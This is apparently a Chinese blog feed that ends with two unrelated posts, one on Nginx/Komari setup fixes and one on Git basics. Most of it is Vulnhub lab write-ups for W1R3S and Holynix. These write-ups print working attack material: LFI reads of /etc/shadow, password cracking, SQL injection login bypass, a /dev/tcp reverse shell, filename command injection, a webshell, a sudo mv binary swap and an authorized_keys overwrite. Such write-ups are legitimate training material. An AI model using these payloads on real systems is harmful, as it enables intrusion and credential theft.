Gina.L - Inventory
Rico.D - Human Resources

c. 颠倒反转密文

最后一段文字信息，能看出来是通过颠倒和反转进行的加密，通过截图工具解密后得到下面这段话：

        ı don't thınk thıs ıs the way to root!
                                                   
we have a ןot of work to do‘ stop pןayıng around˙˙˙˙

2.2. MySQL 渗透

尝试连接数据库，提示本机无法登入。没有其他信息，3306 渗透暂时放弃。

$ mysql -h 192.168.200.146 -u root -p
Enter password: 
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.200.142' is not allowed to connect to this MySQL server

2.3. Web 渗透

2.3.1. 网页目录扫描

在端口扫描阶段发现主机的 80 端口开启，直接访问后是一个 Apache 的界面，使用目录扫描，看看有没有其他的服务。

sudo dirsearch -u http://192.168.200.146 -o dirsearch_146.txt

2.3.2. 网页探测

http://192.168.200.146/wordpress/ 会 301 跳转到 localhost，这么做到的？

2.3.3. EXP 查询

http://192.168.200.146/administrator 看上去是一个 CMS 安装界面。

点击 next 尝试去看看能不能安装（注意在实际操作环境中，一定要确定这个操作步骤会不会对系统造成不可逆的影响，你能不能承担这个风险。）

这个系统会不会有 EXP，用 searchsploit 或者 https://www.exploit-db.com/ 搜索一下。

searchsploit cuppa cms

将 EXP 文件移动到现在的操作目录查看，当然也可以直接查看 /usr/share/exploitdb/exploits 路径下的文件，这是 searchsploit 默认存放 EXP 的路径。

复制 EXP 到当前路径：

searchsploit cuppa -m 25971

3. 漏洞利用

漏洞原理分析

阅读 EXP 中的内容中，可以得到这个 CMS 存在一个严重的本地文件包含（LFI）漏洞，利用该漏洞可以直接读取 /etc/shadow 等敏感系统文件，这才是拿下该靶机的正确方向。

EXP URL： https://www.exploit-db.com/exploits/25971

CMS 源码： https://github.com/CuppaCMS/CuppaCMS

漏洞页面源码： https://github.com/CuppaCMS/CuppaCMS/blob/master/alerts/alertConfigField.php

注意：在遇到 CMS 时可以去互联网上寻找是否存在公开的代码，以此进行白盒审计。

漏洞源码

<div id="content_alert_config" class="content_alert_config">
    <?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>
</div>

利用原理

urlConfig 来自用户可控的 POST 参数。
这个值被直接拼接进 include 路径，没有做白名单、路径规范化、后缀限制或目录穿越过滤。
include 会把目标文件当作 PHP 文件载入并执行；如果目标不是 PHP，也会尝试按文件内容输出/解析。
因为是相对路径拼接，攻击者可以通过目录穿越把原本应限制在 ../components/table_manager/fields/config/ 下的包含范围“跳出去”，从而包含服务器上的其他本地文件

http://192.168.200.146/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

使用 POST 方式上传 EXP，尝试读取 passwd 文件

curl -d "urlConfig=../../../../../../../../../etc/passwd" http://192.168.200.146/administrator/alerts/alertConfigField.php

每一条用户数据的第二段都是 X，证明密码是以哈希的方式存在了 shadow 文件中的，所以立刻回去找 shadow 文件看能否读取。

curl -d "urlConfig=../../../../../../../../../etc/shadow" http://192.168.200.146/administrator/alerts/alertConfigField.php

网页可以返回 /etc/shadow 文件，筛选出有哈希的文件保存。

将保存的 hash 值进行爆破处理。

john shadow.txt

密码得出：

www-data : www-data w1rs3 : computer

4. 提权

收集系统信息

w1r3s@W1R3S:~$ whoami
w1r3s
w1r3s@W1R3S:~$ id
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
w1r3s@W1R3S:~$ uname -a
Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
w1r3s@W1R3S:~$ sudo -l
[sudo] password for w1r3s: 
Matching Defaults entries for w1r3s on W1R3S.localdomain:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User w1r3s may run the following commands on W1R3S.localdomain:
    (ALL : ALL) ALL

获取 root 权限

w1r3s 这个用户拥有所有的权限，使用 sudo -l 和用户 ID 都可以看出，对用户运行 sudo su 获得 root 权限。

sudo /bin/bash

5. 其他

SSH 密码爆破

hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.200.146 -t 16 -f -u

-t：设置并发线程数

-f：获取一个可用的账号，立即停止

-u：循环用户名而不是循环密码

Vulnhub Holynix WriteUp

Tue, 05 May 2026 00:00:00 GMT

前言

靶场介绍：

巧妙运用 SQL 注入和 LFI

holynix-v1.tar.bz2 （大小：239 MB）
下载（镜像）：https://download.vulnhub.com/holynix/holynix-v1.tar.bz2
修改网卡 MAC 地址：00:0C:29:BC:05:DE

涉及工具：

Nmap
Dirsearch
Python

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

首先使用 Nmap 对目标主机进行全面的端口和服务扫描，发现目标仅对外开放了 80 端口。

80/tcp open  http

详细信息

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP|specialized|proxy server|router|media device|phone
Running (JUST GUESSING): Linux 2.6.X (94%), PheeNet embedded (90%), Citrix XenServer 5.X (89%), WebSense embedded (89%), Linksys embedded (89%), Sonos embedded (88%), ipTIME embedded (87%), Google Android 4.0.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:pheenet:wap-854gp cpe:/o:citrix:xenserver:5.5 cpe:/h:linksys:rv042 cpe:/h:sonos:zoneplayer cpe:/h:iptime:pro_54g cpe:/o:google:android:4.0.4
Aggressive OS guesses: Linux 2.6.18 - 2.6.24 (94%), Linux 2.6.24 - 2.6.25 (92%), Linux 2.6.18 - 2.6.32 (91%), PheeNet WAP-854GP WAP (90%), Citrix XenServer 5.5 (Linux 2.6.18) (89%), Linux 2.6.9 - 2.6.33 (89%), WebSense proxy appliance (Linux 2.6) (89%), Linksys RV042 router (89%), Linux 2.6.35 (88%), Linux 2.6.16 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

漏洞扫描

PORT   STATE SERVICE
80/tcp open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum: 
|   /login.php: Possible admin folder
|   /login/: Login page
|   /home/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /img/: Potentially interesting folder
|   /index/: Potentially interesting folder
|   /misc/: Potentially interesting folder
|   /transfer/: Potentially interesting folder
|_  /upload/: Potentially interesting folder
MAC Address: 00:0C:29:BC:05:DE (VMware)

Nmap done: 1 IP address (1 host up) scanned in 321.32 seconds

2. Web 渗透

页面信息检索（/）

访问 80 端口后，页面是一个简单的系统，主要有 login 和 home 两个指向。

页面源码：

LFI 测试

点击 login 时，观察到 URL 变成了 http://192.168.200.148/index.php?page=login.php。这种 ?page= 的参数传递方式极易存在本地文件包含（LFI）漏洞。

页面返回报错：

Warning: include(404.html) [function.include]: failed to open stream: No such file or directory in /var/apache2/htdocs/index.php on line 10

Warning: include() [function.include]: Failed opening '404.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/apache2/htdocs/index.php on line 10

报错信息直接证实了后端使用了 include() 函数拼接了 $page 参数，并且没有对输入进行严格过滤。虽然这里提示没有权限或找不到文件，但这确认了 LFI 漏洞的存在，我们可以把它作为后续读取系统文件或配合触发 Webshell 的重要手段。

登录框 SQL 注入漏洞利用

回看我们之前点击 login 时，页面出现了一个登录的表单。对于这种极简的自研后台，首先考虑是否存在 SQL 注入的可能性。

为了探测闭合符号，我们在 Username 和 Password 两个表单中同时输入 ' ，可以看到输入后页面返回了报错，证实了存在 SQL 注入的可能性

万能密钥

由于存在 SQL 注入，我们在 Username 和 Password 两个表单中同时输入万能密钥进行盲测：

' or 1=1 -- -

问题：为什么要在两个表单中同时输入万能密钥呢？

因为在不清楚后端代码的情况下，我们无法确定 SQL 语句的具体拼接逻辑（后端是先查 username 存在与否，还是把 username 和 password 放在一个 WHERE 语句里同时比对）。在两个输入框同时注入闭合符和永真条件，可以最大概率地破坏原有的 SQL 结构并触发闭合，实现绕过。

登录成功

页面信息检索（index.php）

提示登录用户为 alamo

员工表单

留言

留言板

upload

安全手册

寻找文件上传与越权突破点

登录后，在页面发现 upload.php。现在的目标很明确：利用文件上传漏洞传一个 Kali 自带的 PHP 反弹 Shell (php-reverse-shell.php)。

但尝试上传时，系统无情地提示：Home directory uploading disabled for user alamo（当前用户没有上传权限）。

突破口：Cookie 越权

按 F12 检查网页状态，查看浏览器的 Cookie 信息。发现 cookie id 设置得非常简单，完全可以通过 cookie 越权切换其他的用户。

突破口 2：SQL 注入切换用户

回看我们是通过万能密钥登录进来的，当然可以通过注入切换到其他用户。但是这里遇到了一个问题，其他用户的用户名我不是很清楚，这怎么办？

回显页面，有一个员工表单，我们可以一个一个去试上面的员工姓名，留言本上的员工姓名更可疑。不过我这里有一个发现，在 ?page=ssp.php 这个页面存在一个 LFI 的漏洞，使我们自己得到了当前系统的用户名。

http://192.168.200.148/index.php?page=ssp.php&text_file_name=/etc/passwd

构造 Payload:

Payload:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.142/4444 0>&1'"); ?>

Kali 自带反弹 Shell:

locate php-reverse-shell.php

代码审计与 Shell 触发

在确认当前用户具备上传权限后，我们成功上传了文件，但页面并没有回显文件存储的绝对路径。为了找到我们上传的 WebShell，我们需要弄清楚后端的处理逻辑。

既然存在 LFI 漏洞，我们可以直接读取 upload.php 的后端源码。为了防止 PHP 代码在页面上被直接执行导致无法查看，我们配合 PHP 伪协议（php://filter）将其转为 Base64 编码读出：

http://192.168.200.148/index.php?page=ssp.php&text_file_name=php://filter/convert.base64-encode/resource=upload.php

将获取到的 Base64 字符串解码后，得到关键的上传逻辑代码如下：

// ... [前面的权限验证部分省略] ...
$homedir = "/home/".$logged_in_user. "/";
$uploaddir = "upload/";
$target = $uploaddir . basename( $_FILES['uploaded']['name']) ;
$uploaded_type = $_FILES['uploaded']['type'];
$command=0;

// 判断是否为 gzip 压缩包且开启了自动解压
if ( $uploaded_type =="application/gzip" && $_POST['autoextract'] == 'true' ) { $command = 1; }

if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) {
    // 成功上传到临时目录后的处理逻辑
    if ( $command == 1 ) {
        // 如果是 gzip 压缩包，以 root 权限执行 tar 解压到用户家目录
        exec("sudo tar xzf " .$target. " -C " .$homedir);
        exec("rm " .$target);
    } else {
        // 如果是普通文件，以 root 权限执行 mv 移动到用户家目录
        exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);
    }
    exec("/var/apache2/htdocs/update_own");
}
// ... [后续代码省略] ...

源码审计分析

通过分析上述代码，可以得出两个核心结论：

文件去向： 无论我们上传的是普通文件还是 .tar.gz 压缩包，文件最终都会被移动或解压到当前登录用户的家目录下（即 $homedir = "/home/etenenbaum/"）。
提权伏笔： 系统在移动或解压文件时，竟然使用了 sudo mv 和 sudo tar。这意味着系统允许 www-data 用户以 root 权限执行这两个命令，这为后续的提权留下了巨大的隐患。

触发反弹 Shell

已知文件存放在了 /home/etenenbaum/ 目录下。结合通常的 Apache 用户目录配置（通常配置为允许通过 ~用户名 访问家目录下的 public_html 类似结构），我们猜测可以直接通过 Web 路径访问该用户的家目录。

尝试在浏览器中访问：

http://192.168.200.148/~etenenbaum/

页面成功返回了该目录的索引（Directory Listing），我们上传的 shell.php 赫然在列！

此时，在攻击机（Kali）上开启 nc 监听：

sudo nc -lvnp 4444

最后，在浏览器中点击 shell.php（或直接访问 http://192.168.200.148/~etenenbaum/shell.php）触发代码执行。攻击机终端成功接收到反弹链接，获取到目标主机的初始立足点（www-data 权限）。

上传文件。提示上传到了用户主目录

代码审计，寻找上传后文件的路径 /ip/~用户名

nc 反弹链接成功

信息收集

目录爆破

[06:57:47] 200 -   63B  - /footer.php                                       
[06:57:47] 200 -   63B  - /footer
[06:57:47] 200 -  604B  - /header.php                                       
[06:57:47] 200 -  604B  - /header                                           
[06:57:47] 200 -  109B  - /home                                             
[06:57:47] 200 -  109B  - /home.php                                         
[06:57:48] 301 -  356B  - /img  ->  http://192.168.200.148/img/             
[06:57:49] 200 -  342B  - /login                                            
[06:57:49] 200 -  342B  - /login.php                                        
[06:57:49] 200 -  342B  - /login/admin/                                     
[06:57:49] 200 -  342B  - /login/
[06:57:49] 200 -  342B  - /login/admin/admin.asp
[06:57:49] 200 -  342B  - /login/administrator/
[06:57:49] 200 -  342B  - /login/cpanel.php
[06:57:49] 200 -  342B  - /login/cpanel.aspx
[06:57:49] 200 -  342B  - /login/cpanel.jsp
[06:57:49] 200 -  342B  - /login/cpanel.html
[06:57:49] 200 -  342B  - /login/cpanel/
[06:57:49] 200 -  342B  - /login/login
[06:57:49] 200 -  342B  - /login/index
[06:57:49] 200 -  342B  - /login/cpanel.js
[06:57:49] 200 -  342B  - /login/super
[06:57:49] 200 -  342B  - /login/oauth/
[06:57:50] 301 -  357B  - /misc  ->  http://192.168.200.148/misc/           
[06:57:53] 403 -  336B  - /server-status                                    
[06:57:53] 403 -  337B  - /server-status/                                   
[06:57:56] 200 -   44B  - /transfer                                         
[06:57:56] 301 -  359B  - /upload  ->  http://192.168.200.148/upload/       
[06:57:56] 200 -   44B  - /upload.php                                       
[06:57:56] 200 -   26B  - /upload/                                          
[06:57:58] 301 -  360B  - /~backup  ->  http://192.168.200.148/~backup/     
[06:57:58] 301 -  360B  - /~daemon  ->  http://192.168.200.148/~daemon/
[06:57:58] 301 -  357B  - /~bin  ->  http://192.168.200.148/~bin/
[06:57:58] 301 -  359B  - /~games  ->  http://192.168.200.148/~games/       
[06:57:58] 301 -  358B  - /~mail  ->  http://192.168.200.148/~mail/         
[06:57:58] 301 -  358B  - /~sync  ->  http://192.168.200.148/~sync/

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:114:MySQL Server,,,:/var/lib/mysql:/bin/false
alamo:x:1000:115::/home/alamo:/bin/bash
etenenbaum:x:1001:100::/home/etenenbaum:/bin/bash
gmckinnon:x:1002:100::/home/gmckinnon:/bin/bash
hreiser:x:1003:50::/home/hreiser:/bin/bash
jdraper:x:1004:100::/home/jdraper:/bin/bash
jjames:x:1005:50::/home/jjames:/bin/bash
jljohansen:x:1006:115::/home/jljohansen:/bin/bash
ltorvalds:x:1007:113::/home/ltorvalds:/bin/bash
kpoulsen:x:1008:100::/home/kpoulsen:/bin/bash
mrbutler:x:1009:50::/home/mrbutler:/bin/bash
rtmorris:x:1010:100::/home/rtmorris:/bin/bash

upload 文件处理源码：

<?php
if ( $auth == 0 ) {
        echo "<center><h2>Content Restricted</h2></center>";
} else {
	if ( $upload == 1 )
	{
		$homedir = "/home/".$logged_in_user. "/";
		$uploaddir = "upload/";
		$target = $uploaddir . basename( $_FILES['uploaded']['name']) ;
		$uploaded_type = $_FILES['uploaded']['type'];
		$command=0;
		$ok=1;

		if ( $uploaded_type =="application/gzip" && $_POST['autoextract'] == 'true' ) {	$command = 1; }

		if ($ok==0)
		{
			echo "Sorry your file was not uploaded";
			echo "<a href='?index.php?page=upload.php' >Back to upload page</a>";
		} else {
        		if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
			{
				echo "<h3>The file '" .$_FILES['uploaded']['name']. "' has been uploaded.</h3><br />";
				echo "The ownership of the uploaded file(s) have been changed accordingly.";
				echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
				if ( $command == 1 )
				{
					exec("sudo tar xzf " .$target. " -C " .$homedir);
					exec("rm " .$target);
				} else {
					exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);
				}
				exec("/var/apache2/htdocs/update_own");
        		} else {
				echo "Sorry, there was a problem uploading your file.<br />";
				echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
			}
		}
	} else { echo "<br /><br /><h3>Home directory uploading disabled for user " .$logged_in_user. "</h3>"; }
}
?>

3. 权限提升

3.1 提高 Shell 交互性

通过 WebShell 反弹回来的终端通常是一个非交互式的残缺 Shell（比如无法使用 Tab 补全、没有命令历史、无法正常使用 Vim 等）。为了方便后续操作，我们需要先将其升级为完全交互式的 TTY Shell。

列出软件包，老版本默认按照 python2

dpkg -l |grep python

$ python -c 'import pty;pty.spawn("/bin/bash")'

这行代码做了什么？

这行代码利用 Python 内置的 pty 模块，在目标机器上模拟了一个真实的终端环境：

import pty: 加载 Python 的伪终端库。
pty.spawn("/bin/bash"):
1. 它会创建一个伪终端主从设备对。
2. 它启动一个子进程（这里是 /bin/bash）。
3. 它将子进程的标准输入、输出和错误重定向到伪终端上。

3.2 信息收集与寻找立足点

获得稳定的 Shell 后，按惯例进行基础的提权信息枚举。

查看当前用户身份及所属组：

www-data@holynix:/$ whoami
www-data
www-data@holynix:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

关键突破口：

使用 sudo -l 检查当前用户能够以 root 身份执行哪些特权命令：

www-data@holynix:/$ sudo -l
sudo -l
User www-data may run the following commands on this host:
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /bin/chgrp
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /bin/mv

系统配置极其危险，允许 www-data 用户无需密码即可使用 sudo 执行修改文件所有者 (chown/chgrp)、移动文件 (mv) 以及打包压缩 (tar) 的命令。

3.3 避坑指南：为什么修改文件所有者 (Owner) 无法提权？

在这里遇到过一个常见的思维误区：既然我可以用 sudo chown，那我直接把上传的反弹 Shell 脚本所有者改成 root，运行它不就获得 root 权限了吗？为什么弹回来的还是 www-data？

这是因为混淆了文件权限与进程执行上下文的概念：

进程的执行上下文 (Execution Context) 无论你将上传的文件的所有者（Owner）改成谁（即使是 root），当你是通过网页（Web 服务）去访问或触发这个文件时，执行这个文件的“父进程”是 Web 服务器（例如 Apache 或 Nginx）。
- Web 服务器程序在系统底层默认是以 www-data 用户的身份运行的。
- 在 Linux 系统中，子进程会严格继承父进程的权限。因此，由 Web 服务器触发的任何脚本或程序，默认都会以 www-data 的身份去执行，与文件本身的属主无关。
文件所有者 (Owner) ≠ 运行权限 仅仅把文件的属主改成 root（例如通过命令 sudo chown root shell.php），并不会让它在执行时自动跃升为 root 权限（除非设置了特殊的 SUID 标志）。这仅仅意味着 root 用户“拥有”这个文件，别人无法轻易修改、覆盖或删除它。

直接上传和压缩包解压上传的区别

怎么改文件权限获得的 WebShell 都是 www-data

3.4 利用 sudo mv 和 tar 实现提权

既然无法通过直接执行文件来提权，我们可以利用 sudo mv（移动/重命名）和 sudo tar 来进行“二进制文件劫持”（也称移花接木）。

核心思路： 利用 sudo mv 将系统中正常的高权限命令（tar）替换为可以切换用户的命令（su 或 bash）。当我们再次执行 sudo tar 时，实际上执行的是被伪装的提权命令。

提权实操步骤：

备份原程序： 将原本的 /bin/tar 移动并重命名为 .bak，腾出位置。
```
www-data@holynix:/home/etenenbaum$ sudo mv /bin/tar /bin/tar.bak
```

2. 移花接木： 将系统自带的切换用户命令 /bin/su 移动到原本 /bin/tar 的位置。

www-data@holynix:/home/etenenbaum$ sudo mv /bin/su /bin/tar

3. 触发提权： 此时执行 sudo tar。系统以为你在一如既往地执行合法的 tar 打包命令，并赋予其 root 权限；但实际上，它运行的是 su（Switch User）。由于带有 sudo 的特权加持，su 会直接免密切换到 root 账户。

www-data@holynix:/home/etenenbaum$ sudo tar

4. 验证权限：

root@holynix:/home/etenenbaum# whoami
root
root@holynix:/home/etenenbaum# id
uid=0(root) gid=0(root) groups=0(root)

至此，成功获取最高权限，拿下靶机！

4. 总结

主机发现之后，我们通过端口扫描，看到只有 80 端口是开放的，我们在进行 Nmap 的其他扫描的同时，我们把浏览器打开，看到了 80 端口的网站，网站很简单，有两个链接指向 home 和 login。

那我们就通过 login 简单的观察之后，我们发现很可能有 SQL 注入，因为是一个独立开发的一个简单的网站，在我们尝试了几条 SQL 注入的语句之后，我们进到了系统的后台里边，有上传文件，也有文件包含。

文件包含，我们经过简单的测试，发现它的确是一个漏洞，但是文件上传可以提交文件，但却无法成功上传，然后我们通过文件包含，看到系统里面还有其他目录，在 passwd 的文件里面显示出了若干个可用的用户。

然后我们顺势把第二个用户的信息拿到，然后我们退出刚才通过 SQL 注入进到的账号，在登录界面，我们构造我们的 SQL 注入语句，用刚刚我们从 /etc/passwd 文件中，提取的用户名去登录，并且成功的登录到系统，这样我们再试上传文件是不是可用的，重新构造了一下我们的 shell 文件。

通过 upload 成功上传到后台，并且能够在 etenenbaum 这个用户的家目录下，看到我们的反弹 Shell，执行我们的反弹 Shell 之后，在我们的 Kali 上获得了系统的初级权限，然后我们试着提前在 sudo -l 这个命令下，是有几个命令可以用的，然后我们通过简单的重命名，我们获得了系统的 Shell。

5. 其他方法

针对这段代码中的【命令注入漏洞】以及潜在的【目录穿越任意文件覆盖漏洞】，在真实的打靶（Vulnhub/HTB）或渗透测试环境中，我们需要通过操纵 HTTP 数据包来构造 Payload，因为普通的操作系统（Windows/Mac）由于文件系统限制，通常不允许你创建带有特殊字符（如 ;、|、/）的文件名。

以下是两种经典的攻击利用思路和具体构造方法：

思路一：利用命令截断（获取 WebShell 或反弹 Shell）

这是最典型的命令注入打法。程序的 mv 或 tar 分支都可以被利用。

目标漏洞代码段： exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);

1. 构造与抓包： 正常上传一个普通文件（例如 test.txt），并使用 Burp Suite 拦截这个 HTTP POST 请求。

2. 修改文件名 (Payload 注入)： 在请求体中找到 Content-Disposition: form-data; name="uploaded"; filename="test.txt"。将 filename 修改为你想要执行的 Linux 命令序列。

修改为： filename="a; bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1; #"
(备选写 Webshell 方案)：filename="a; echo '<?php system(\$_REQUEST[\'cmd\']); ?>' > /var/apache2/htdocs/shell.php; #"

3. 原理解析： basename() 不会过滤分号 ;，因此 $target 会变成 upload/a; bash...。最终 PHP 给到系统底层执行的命令会变成：

# 假设 $homedir 为 /home/user/
sudo mv upload/a; bash -i >& /dev/tcp/攻击机IP/4444 0>&1; # /home/user/a; bash...

系统会将其拆分为三条指令执行：

sudo mv upload/a （必定执行失败报错，因为上传到临时目录的文件名叫 a; bash... 而不是 a，但这不影响接下来的执行）。
bash -i >& /dev/tcp/攻击机IP/4444 0>&1 （成功执行你的反弹 Shell 命令，由于没有带 sudo，这会以 www-data web 用户的身份运行）。
# /home/user/...（井号将后面程序拼接的垃圾路径全部作为注释忽略，防止语法报错中断命令）。

思路二：神仙打法——利用 sudo 和 $_FILES 目录穿越（直接秒变 Root 👑）

如果你仔细观察 mv 分支的代码，你会发现这是一个非常严重的二次逻辑漏洞：

exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);

前半截 $target 由于之前套了 basename()，文件被安全地保存在了 upload/ 目录下。
但是后半截 $homedir . $_FILES['uploaded']['name'] 竟然忘了过滤！ 直接用了原始的上传名！
更要命的是，这个移动操作使用了 sudo mv（Root 权限）。

这就意味着，你有能力让系统以 Root 的身份，将你上传的任何文件，移动甚至覆盖到系统的任何地方！

实战构造：SSH 公钥覆盖

在你的攻击机（Kali）上生成一对 SSH 密钥： ssh-keygen -t rsa -f mykey
将生成的公钥 mykey.pub 重命名为 authorized_keys 并作为文件上传。
在 Burp Suite 拦截请求。
将上传的 filename 修改为含有大量 ../ 的目录穿越路径，目标指向 root 用户的 SSH 存放目录： filename="../../../../../../../root/.ssh/authorized_keys"
放行请求。

原理解析： 系统最终执行的命令是：

sudo mv upload/authorized_keys /home/user/../../../../../../../root/.ssh/authorized_keys

由于带有 sudo，Linux 系统将毫无怨言地执行。你上传的公钥将以最高权限直接覆盖 /root/.ssh/authorized_keys。

后续： 在 Kali 上直接执行：ssh -i mykey root@靶机IP 你甚至不需要去提权，直接就以 Root 身份登录了靶机！

Komari 与 Nginx 踩坑总结

Fri, 02 Jan 2026 00:00:00 GMT

概述

刚刚折腾完，分享一下部署探针踩的坑。我的探针服务采用的是 Komari，反代通过 NPM (Nginx Proxy Manager) 解决，整体使用 Docker Compose 进行管理。

1.开启 NPM 强制 SSL 后页面无法访问？

申请完证书并开启 Nginx 的“强制 SSL”后，无法通过 HTTPS 正常访问。排查发现原因在于 Cloudflare 的 SSL 模式默认为“Flexible（灵活）”。

当用户通过域名访问网页时，请求先到达 Cloudflare，再转发给源服务器。由于 Cloudflare 在“Flexible”模式下默认向源服务器发送 HTTP 请求，而我的 Nginx 配置了强制 HTTPS，导致服务器不断返回 301 重定向 给 Cloudflare，从而引发了“重定向次数过多”的循环报错。

解决方法：

在 Cloudflare 的 SSL/TLS 设置中，将加密模式从默认的 “灵活 (Flexible)” 修改为 “完全（严格） / Full (Strict)”。

2.Komari Agent HTTPS 连接后设备显示离线

在接入探针时，我发现使用 HTTP 可以成功连接，但换成 HTTPS 后设备一直显示‘离线’。排查后发现，根本原因是 Komari 的实时数据传输依赖 WebSocket 协议，但 Nginx 默认没有开启对 WebSocket 的**协议升级（Upgrade）**支持，导致连接在握手阶段被拦截。”

解决方法：

在 Nginx Proxy Manager (NPM) 的后台编辑该代理主机 (Proxy Host)，直接勾选 WebSockets Support 选项即可。

Git基础操作

Tue, 16 Dec 2025 00:00:00 GMT

1.Git介绍

1.1.Git是什么

Git是目前世界上最先进的分布式版本控制系统（没有之一）。

1.2.分布式与集中式

SVN是集中式版本控制系统，版本库是集中放在中央服务器的，而干活的时候，用的都是自己的电脑，所以首先要从中央服务器哪里得到最新的版本，然后干活，干完后，需要把自己做完的活推送到中央服务器。集中式版本控制系统是必须联网才能工作，如果在局域网还可以，带宽够大，速度够快，如果在互联网下，如果网速慢的话，就纳闷了。

Git是分布式版本控制系统，那么它就没有中央服务器的，每个人的电脑就是一个完整的版本库，这样，工作的时候就不需要联网了，因为版本都是在自己的电脑上。既然每个人的电脑都有一个完整的版本库，那多个人如何协作呢？比如说自己在电脑上改了文件A，其他人也在电脑上改了文件A，这时，你们两之间只需把各自的修改推送给对方，就可以互相看到对方的修改了。

2.安装Git

2.1.在Linux上安装

首先，你可以试着输入git，看看系统有没有安装Git：

$ git
The program 'git' is currently not installed. You can install it by typing:
sudo apt-get install git

像上面的命令，有很多Linux会友好地告诉你Git没有安装，还会告诉你如何安装Git。

如果你碰巧用Debian或Ubuntu Linux，通过一条sudo apt install git就可以直接完成Git的安装，非常简单。

如果是其他Linux版本，请参考发行版说明，例如，RedHat Linux可以通过命令sudo yum install git安装。没有包管理器的发行版可以自行下载源码编译安装，仅适合老鸟。

2.2.在Windows上安装

直接从Git官网直接下载安装程序，然后按默认选项安装即可。安装完成后，在命令行中输入git，返回信息未安装成功

2.3.配置Git

安装好Git后，还需要最后一步设置，在命令行输入：

git config --global user.name "Your Name"
git config --global user.email "email@example.com"

查看git config 配置信息：

git config --list

注意git config命令的--global参数为全局参数，表示你这台机器上所有的Git仓库都会使用这个配置，当然也可以对某个仓库指定不同的用户名和Email地址。

Git 的配置优先级：

system（系统级）
global（当前用户级）
local（当前仓库级，优先级最高）

3.创建版本库

什么是版本库呢？版本库又名仓库(Repository)，可以理解为一个目录，在这个目录中所有的文件都会被Git管理起来，每个文件的改动，都可以被Git跟踪，或者可以还原。

3.1.创建仓库

git init <目录>

3.2.克隆仓库

git clone <仓库地址>

4.工作区和文件状态

Git有三个主要区域：工作区、暂存区和本地仓库，它们定义了文件的不同状态。文件在工作区中修改，可以通过 git add 命令将其添加到暂存区，最后通过git commit将暂存区的修改提交到本地仓库。

4.1.文件状态

未跟踪（untracked）: Git仓库尚未管理的文件，通常是新添加的文件。
